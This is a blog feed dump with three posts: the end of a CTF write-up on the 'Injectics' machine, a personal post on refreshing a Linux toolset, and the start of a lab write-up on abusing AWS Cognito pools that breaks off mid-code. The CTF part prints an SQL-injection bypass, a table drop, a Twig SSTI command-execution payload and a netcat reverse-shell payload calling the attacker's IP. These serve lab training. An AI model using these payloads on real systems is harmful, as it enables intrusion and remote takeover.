<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://injectics.thm -H <span style="color:#e6db74">&#39;Host: FUZZ.injectics.thm&#39;</span> -fs <span style="color:#ae81ff">6588</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        /<span style="color:#e6db74">&#39;___\  /&#39;</span>___<span style="color:#ae81ff">\ </span>          /<span style="color:#960050;background-color:#1e0010">&#39;</span>___<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>       /<span style="color:#ae81ff">\ \_</span>_/ /<span style="color:#ae81ff">\ \_</span>_/  __  __  /<span style="color:#ae81ff">\ \_</span>_/
</span></span><span style="display:flex;"><span>       <span style="color:#ae81ff">\ \ </span>,__<span style="color:#ae81ff">\\</span> <span style="color:#ae81ff">\ </span>,__<span style="color:#ae81ff">\/\ \/\ \ \ \ </span>,__<span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>        <span style="color:#ae81ff">\ \ \_</span>/ <span style="color:#ae81ff">\ \ \_</span>/<span style="color:#ae81ff">\ \ \_\ \ \ \ \_</span>/
</span></span><span style="display:flex;"><span>         <span style="color:#ae81ff">\ \_\ </span>  <span style="color:#ae81ff">\ \_\ </span> <span style="color:#ae81ff">\ \_</span>___/  <span style="color:#ae81ff">\ \_\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>          <span style="color:#ae81ff">\/</span>_/    <span style="color:#ae81ff">\/</span>_/   <span style="color:#ae81ff">\/</span>___/    <span style="color:#ae81ff">\/</span>_/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>       v2.1.0-dev
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> :: Method           : GET
</span></span><span style="display:flex;"><span> :: URL              : http://injectics.thm
</span></span><span style="display:flex;"><span> :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
</span></span><span style="display:flex;"><span> :: Header           : Host: FUZZ.injectics.thm
</span></span><span style="display:flex;"><span> :: Follow redirects : false
</span></span><span style="display:flex;"><span> :: Calibration      : false
</span></span><span style="display:flex;"><span> :: Timeout          : <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span> :: Threads          : <span style="color:#ae81ff">40</span>
</span></span><span style="display:flex;"><span> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
</span></span><span style="display:flex;"><span> :: Filter           : Response size: <span style="color:#ae81ff">6588</span>
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>:: Progress: <span style="color:#f92672">[</span>4989/4989<span style="color:#f92672">]</span> :: Job <span style="color:#f92672">[</span>1/1<span style="color:#f92672">]</span> :: <span style="color:#ae81ff">159</span> req/sec :: Duration: <span style="color:#f92672">[</span>0:00:34<span style="color:#f92672">]</span> :: Errors: <span style="color:#ae81ff">0</span> ::
</span></span></code></pre></div><p><strong>Manual Inspection</strong></p>
<p>We launch <code>caido</code> so that we can intercept traffic to inspect later and then we open the browser and we are presented with the following default landing page</p>
<p><img src="/assets/pwn_20240729124738.png" alt=""></p>
<p>We look at the source code and we find a name and email address and also a note that mails are stored in a log file.</p>
<p><img src="/assets/pwn_20240729124937.png" alt=""></p>
<p>You will recall that we also saw <code>mail.log</code> in the earlier scans and when we look at that file, we can see that this has username and passwords that will be set if the users table is deleted or corrupted.  We now know that there is a database behind it and that if we can get access and drop the table, we have the required access.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl http://injectics.thm/mail.log
</span></span><span style="display:flex;"><span>From: dev@injectics.thm
</span></span><span style="display:flex;"><span>To: superadmin@injectics.thm
</span></span><span style="display:flex;"><span>Subject: Update before holidays
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Hey,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Before heading off on holidays, I wanted to update you on the latest changes to the website. I have implemented several enhancements and enabled a special service called Injectics. This service continuously monitors the database to ensure it remains in a stable state.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>To add an extra layer of safety, I have configured the service to automatically insert default credentials into the <span style="color:#e6db74">`</span>users<span style="color:#e6db74">`</span> table <span style="color:#66d9ef">if</span> it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Here are the default credentials that will be added:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>| Email                     | Password                |
</span></span><span style="display:flex;"><span>|---------------------------|-------------------------|
</span></span><span style="display:flex;"><span>| superadmin@injectics.thm  | superSecurePasswd101    |
</span></span><span style="display:flex;"><span>| dev@injectics.thm         | devPasswd123            |
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Please let me know <span style="color:#66d9ef">if</span> there are any further updates or changes needed.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Best regards,
</span></span><span style="display:flex;"><span>Dev Team
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>dev@injectics.thm
</span></span></code></pre></div><p>The other file that we found earlier was <code>composer.json</code> which indicates that they are running Twig which could also indicate that there is an SSTI that we could exploit</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl http://injectics.thm/composer.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;require&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;twig/twig&#34;</span>: <span style="color:#e6db74">&#34;2.14.0&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>% 
</span></span></code></pre></div><p>We then navigate to the login page and we are then presented with the following.</p>
<p><img src="/assets/pwn_20240729125047.png" alt=""></p>
<p>When we enter something generic, we can see that there is a parameter called <code>functions.php</code> and we get the response back in JSON</p>
<p><img src="/assets/pwn_20240729133212.png" alt=""></p>
<p>If we look at the source code of the page it calls <code>script.js</code> which if we look into calls the <code>functions.php</code> which has a list of invalid keywords for the username value.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#login-form&#34;</span>).<span style="color:#a6e22e">on</span>(<span style="color:#e6db74">&#34;submit&#34;</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">username</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#email&#34;</span>).<span style="color:#a6e22e">val</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#pwd&#34;</span>).<span style="color:#a6e22e">val</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">invalidKeywords</span> <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;or&#39;</span>, <span style="color:#e6db74">&#39;and&#39;</span>, <span style="color:#e6db74">&#39;union&#39;</span>, <span style="color:#e6db74">&#39;select&#39;</span>, <span style="color:#e6db74">&#39;&#34;&#39;</span>, <span style="color:#e6db74">&#34;&#39;&#34;</span>];
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">keyword</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">invalidKeywords</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">username</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#a6e22e">keyword</span>)) {
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#39;Invalid keywords detected&#39;</span>);
</span></span><span style="display:flex;"><span>                   <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">ajax</span>({
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">url</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;functions.php&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">type</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">data</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">username</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">username</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">password</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">password</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">function</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;login&#34;</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">dataType</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;json&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">success</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">data</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">status</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;success&#34;</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">auth_type</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>                    window.<span style="color:#a6e22e">location</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;dashboard.php&#39;</span>;
</span></span><span style="display:flex;"><span>                }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>                    window.<span style="color:#a6e22e">location</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;dashboard.php&#39;</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#messagess&#34;</span>).<span style="color:#a6e22e">html</span>(<span style="color:#e6db74">&#39;&lt;div class=&#34;alert alert-danger&#34; role=&#34;alert&#34;&gt;&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">message</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;&lt;/div&gt;&#39;</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>We have a high probability that there is a SQL Injection so we intercept a request and pass it to Automate using Caido and we are able to bypass this.</p>
<p><img src="/assets/pwn_20240802132725.png" alt=""></p>
<p>We now have the ability to be able to edit the rankings</p>
<p><img src="/assets/pwn_20240802132757.png" alt=""></p>
<p>We will click on edit and make a change and based on the request, can be reasonably confident that this updates a database.</p>
<p><img src="/assets/pwn_20240802143420.png" alt=""></p>
<p>You will recall that we found the <code>mail.log</code> that provided credentials in the event that the users table was either deleted or corrupted so let&rsquo;s see if we are able to do that.</p>
<p><img src="/assets/pwn_20240802143806.png" alt=""></p>
<p>Looks like the table has been dropped :)</p>
<p><img src="/assets/pwn_20240802143835.png" alt=""></p>
<p>We go to the admin login page and are able to login with the admin credentials found earlier and we have found the first flag</p>
<p><img src="/assets/pwn_20240802144005.png" alt=""></p>
<p>If you recall we identified that Twig was being used and this means that it potentially could allow SSTI and from looking at the page, one possible area is the &ldquo;Welcome, admin!&rdquo; which is being reflected on the page.  Based on this we can see that this would come from the Profile page, so we will have a look at this.</p>
<p>The easiest way to test for this is to inject <code>{{7*7}}</code> and see if this is evaluated.</p>
<p><img src="/assets/pwn_20240802144656.png" alt=""></p>
<p>We can this that this has been evaluated and we get the results on the home page and we will now use this to get a reverse shell</p>
<p><img src="/assets/pwn_20240802144744.png" alt=""></p>
<p>After some trial and error we have been able to get command execution using <code>{{['id','']|sort('passthru')}}</code> and we can of course get the flag this way which we have done, but that is not as much fun as getting a shell.</p>
<p><img src="/assets/pwn_20240802145331.png" alt=""></p>
<p><img src="/assets/pwn_20240802150034.png" alt=""></p>
<h3 id="getting-a-shell">Getting a Shell</h3>
<p>We have set up our listener and we have gotten a shell with the payload <code>{{['busybox nc 10.11.79.78 9001 -e bash','']|sort('passthru')}}</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ nc -nlvp <span style="color:#ae81ff">9001</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">9001</span> ...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.11.79.78<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.24.141<span style="color:#f92672">]</span> <span style="color:#ae81ff">55766</span>
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>We upgrade our shell and we have Pwned this machine!</p>
]]></content>
        </item>
        
        <item>
            <title>Annual Review and Streamlining Toolset for Optimal Efficiency</title>
            <link>https://www.nephos.guru/posts/2024/annualreview/</link>
            <pubDate>Thu, 25 Jul 2024 14:18:18 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/annualreview/</guid>
            <description>&lt;p&gt;For those of us in the world of technology, or dependent on it for your jobs, our tools are our lifeline.  They help us code, organize and manage our daily tasks.  Over time, it is easy for our toolsets to become cluttered, unnecessary or even heavily bloated so that they no longer serve their purpose.&lt;/p&gt;
&lt;p&gt;Every year, I take some time to refresh my system build and workflows to ensure that my setup is optimized to streamline work and reduce friction.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>For those of us in the world of technology, or dependent on it for your jobs, our tools are our lifeline.  They help us code, organize and manage our daily tasks.  Over time, it is easy for our toolsets to become cluttered, unnecessary or even heavily bloated so that they no longer serve their purpose.</p>
<p>Every year, I take some time to refresh my system build and workflows to ensure that my setup is optimized to streamline work and reduce friction.</p>
<h2 id="the-importance-of-reviewing-your-tools">The Importance of Reviewing your Tools</h2>
<p>Conducting an annual review of your tools is more than just a routine task, it’s a crucial practice for maintaining an efficient and productive workflow. As technology evolves and our needs shift, it’s vital to reassess the tools we use. Unused or outdated tools can create unnecessary friction, slow down our work, and even lead to frustration.</p>
<p>In my recent review, I examined all the tools and configurations I use. The goal was to eliminate redundancies, streamline workflows, and ensure that every tool and configuration serves a clear purpose. This process is not just about cleaning up but also about aligning our tools with our current needs and goals.</p>
<h3 id="changing-linux-distributions">Changing Linux Distributions</h3>
<p>I have been using Debian based distributions for a few years and whilst I have been very happy with them, I had been evaluating Arch Linux for a while and a few months ago, I decided to switch and make this my daily driver and have been very happy. This isn&rsquo;t about boasting &ldquo;I Use Arch, BTW&rdquo;; the main reason is its minimal installation approach, where you install only the packages you need. It&rsquo;s a rolling release with the latest packages and the AUR (Arch User Repository).</p>
<h3 id="transition-from-i3wm-to-qtile">Transition from I3WM to QTile</h3>
<p>I have been very satisfied with I3 and am still a strong supporter of it. However, I found a few areas where it was lacking, which led me to move to QTile. The primary reason for this transition if my proficiency in Python. Since QTile is Python based, I can customize it to meet my specific requirements more effectively.</p>
<h3 id="vim-configuration">VIM Configuration</h3>
<p>I have been using VIM for many years and my configurations have ranged from very basic to overly complex.  I decided to use <a href="https://github.com/nvim-lua/kickstart.nvim">kickstart.nvim</a> a small, single file and well documented configuration.  By spending a few hours configuring this, I know have a VIM setup that works exactly how I want, with the necessary plugins, mappings and settings that are aligned with my workflow.</p>
<h2 id="key-takeaways">Key Takeaways</h2>
<ol>
<li>
<p>Regular Reviews Are Crucial: An annual review of your tools ensures that you’re not carrying unnecessary baggage. It helps you stay current with technology and align your tools with your evolving needs.</p>
</li>
<li>
<p>Eliminate Redundancies: Remove tools and configurations that are no longer useful. This reduces clutter and helps streamline your workflow.</p>
</li>
<li>
<p>Embrace Change: Don’t be afraid to switch tools or reconfigure your setup if it means improving efficiency. The transition might require some effort, but the benefits often outweigh the initial investment.</p>
</li>
<li>
<p>Customize for Efficiency: Tailor your tools and configurations to fit your specific needs. Customization can lead to significant improvements in productivity and satisfaction.</p>
</li>
</ol>
<p>While this may seem unnecessary to some, I have found that by regularly reviewing the tools that I use and refining my workflow as needed allows me to maintain a frictionless environment that enables me to be as effective as possible.</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Abuse Cognito User and Identity Pools</title>
            <link>https://www.nephos.guru/posts/2024/abusecognito/</link>
            <pubDate>Thu, 25 Jul 2024 11:38:40 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/abusecognito/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/abuse-cognito-user-and-identity-pools&#34;&gt;Pwned Labs - Abuse Cognito User and Identity Pools&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;During a routine external security sweep of Huge Logistics, your team stumbled upon a public git repository. It wasn&amp;rsquo;t just any repository; it contained the entire source code for their new Android application. It might just be the entry point you need to access the company&amp;rsquo;s broader cloud environment. The challenge now is to sift through the application&amp;rsquo;s intricacies, identify potential vulnerabilities, and see if these breadcrumbs lead deeper into Huge Logistics&amp;rsquo; digital realm. The perimeter is your starting line; how far can you go?&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/abuse-cognito-user-and-identity-pools">Pwned Labs - Abuse Cognito User and Identity Pools</a></p>
<h2 id="scenario">Scenario</h2>
<p>During a routine external security sweep of Huge Logistics, your team stumbled upon a public git repository. It wasn&rsquo;t just any repository; it contained the entire source code for their new Android application. It might just be the entry point you need to access the company&rsquo;s broader cloud environment. The challenge now is to sift through the application&rsquo;s intricacies, identify potential vulnerabilities, and see if these breadcrumbs lead deeper into Huge Logistics&rsquo; digital realm. The perimeter is your starting line; how far can you go?</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Exploit permissive settings in Amazon Cognito User and Identity Pools</li>
<li>Be able to identify vulnerabilities from reviewing source code</li>
<li>Exploit a Lambda function</li>
<li>Understand how this exploit chain could have been prevented</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>Misconfigurations or permissive settings in AWS Cognito User and Identity pools can allow access to resources that should not be accessed, and can result in malicious actors being able to move laterally and vertically within a cloud environment. Research conducted in 2019 by Andrés Riancho identified 2500 Cognito identity pools, which were used to gain access to more than 13000 S3 buckets (which are not publicly exposed), 1200 DynamoDB tables and 1500 Lambda functions.</p>
<hr>
<h2 id="overview">Overview</h2>
<p>Amazon Cognito allows developers to focus on the app experience instead of worrying about building, securing, and scaling a solution to handle user management, authentication, and sync across devices.</p>
<p><img src="/assets/pwn_20240724160404.png" alt=""></p>
<ol>
<li>The client authenticates against a user pool.</li>
<li>The User Pool assigns three JSON Web Tokens (JWT) to the (Id, Access, and Refresh)</li>
<li>The Id JWT is passed to the identity pool and a role is chosen via the JWT claims. The user then receives temporary IAM credentials with privileges that are based on the IAM role that was mapped to the group that user belongs to.</li>
<li>The user can then make calls to AWS resources based on their privileges.</li>
</ol>
<h2 id="attack">Attack</h2>
<h3 id="identity-pools">Identity Pools</h3>
<p>This attack starts based on leaked source code as follows and we can see that it references an AWS Identity Pool and also an S3 Bucket</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#75715e">// Include necessary import statements</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> android.app.Activity;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> android.os.Bundle;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> android.util.Log;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> android.widget.Button;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> android.widget.EditText;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> android.widget.ImageView;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> android.widget.TextView;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> android.widget.Toast;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> com.amazonaws.auth.AWSCredentialsProvider;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> com.amazonaws.auth.CognitoCachingCredentialsProvider;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> com.amazonaws.regions.Regions;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> com.amazonaws.services.lambda.AWSLambdaClient;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> com.amazonaws.services.lambda.model.InvokeRequest;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> com.amazonaws.services.lambda.model.InvokeResult;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> com.amazonaws.services.s3.AmazonS3Client;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> com.bumptech.glide.Glide;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.nio.charset.StandardCharsets;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MainActivity</span> <span style="color:#66d9ef">extends</span> Activity {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">final</span> String IDENTITY_POOL_ID <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">final</span> String BUCKET_NAME <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hl-app-images&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">final</span> String IMAGE_KEY <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hl.png&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> AWSCredentialsProvider credentialsProvider;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> AWSLambdaClient awsLambdaClient;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> AmazonS3Client s3Client;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Override</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">protected</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">onCreate</span>(Bundle savedInstanceState) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">super</span>.<span style="color:#a6e22e">onCreate</span>(savedInstanceState);
</span></span><span style="display:flex;"><span>        setContentView(R.<span style="color:#a6e22e">layout</span>.<span style="color:#a6e22e">activity_main</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        ImageView logoImageView <span style="color:#f92672">=</span> findViewById(R.<span style="color:#a6e22e">id</span>.<span style="color:#a6e22e">logoImageView</span>);
</span></span><span style="display:flex;"><span>        TextView statusTextView <span style="color:#f92672">=</span> findViewById(R.<span style="color:#a6e22e">id</span>.<span style="color:#a6e22e">statusTextView</span>);
</span></span><span style="display:flex;"><span>        EditText trackingNumberEditText <span style="color:#f92672">=</span> findViewById(R.<span style="color:#a6e22e">id</span>.<span style="color:#a6e22e">trackingNumberEditText</span>);
</span></span><span style="display:flex;"><span>        Button checkStatusButton <span style="color:#f92672">=</span> findViewById(R.<span style="color:#a6e22e">id</span>.<span style="color:#a6e22e">checkStatusButton</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        credentialsProvider <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> CognitoCachingCredentialsProvider(
</span></span><span style="display:flex;"><span>                getApplicationContext(),
</span></span><span style="display:flex;"><span>                IDENTITY_POOL_ID,
</span></span><span style="display:flex;"><span>                Regions.<span style="color:#a6e22e">US_EAST_1</span>
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        s3Client <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> AmazonS3Client(credentialsProvider);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Load logo from S3 using Glide</span>
</span></span><span style="display:flex;"><span>        Glide.<span style="color:#a6e22e">with</span>(<span style="color:#66d9ef">this</span>)
</span></span><span style="display:flex;"><span>                .<span style="color:#a6e22e">load</span>(s3Client.<span style="color:#a6e22e">getUrl</span>(BUCKET_NAME, IMAGE_KEY))
</span></span><span style="display:flex;"><span>                .<span style="color:#a6e22e">into</span>(logoImageView);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Lambda client for invoking Lambda function</span>
</span></span><span style="display:flex;"><span>        awsLambdaClient <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> AWSLambdaClient(credentialsProvider);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        checkStatusButton.<span style="color:#a6e22e">setOnClickListener</span>(view <span style="color:#f92672">-&gt;</span> {
</span></span><span style="display:flex;"><span>            String trackingNumber <span style="color:#f92672">=</span> trackingNumberEditText.<span style="color:#a6e22e">getText</span>().<span style="color:#a6e22e">toString</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>trackingNumber.<span style="color:#a6e22e">isEmpty</span>()) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>                    InvokeRequest invokeRequest <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> InvokeRequest()
</span></span><span style="display:flex;"><span>                            .<span style="color:#a6e22e">withFunctionName</span>(<span style="color:#e6db74">&#34;Tracking&#34;</span>)
</span></span><span style="display:flex;"><span>                            .<span style="color:#a6e22e">withPayload</span>(<span style="color:#e6db74">&#34;\&#34;&#34;</span> <span style="color:#f92672">+</span> trackingNumber <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;\&#34;&#34;</span>);
</span></span><span style="display:flex;"><span>                    InvokeResult invokeResult <span style="color:#f92672">=</span> awsLambdaClient.<span style="color:#a6e22e">invoke</span>(invokeRequest);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                    <span style="color:#75715e">// Use the result returned by the Lambda function as package status</span>
</span></span><span style="display:flex;"><span>                    String result <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> String(invokeResult.<span style="color:#a6e22e">getPayload</span>().<span style="color:#a6e22e">array</span>(), StandardCharsets.<span style="color:#a6e22e">UTF_8</span>);
</span></span><span style="display:flex;"><span>                    statusTextView.<span style="color:#a6e22e">setText</span>(result);
</span></span><span style="display:flex;"><span>                } <span style="color:#66d9ef">catch</span> (Exception e) {
</span></span><span style="display:flex;"><span>                    Log.<span style="color:#a6e22e">e</span>(<span style="color:#e6db74">&#34;MainActivity&#34;</span>, <span style="color:#e6db74">&#34;Error occurred while invoking Lambda function.&#34;</span>, e);
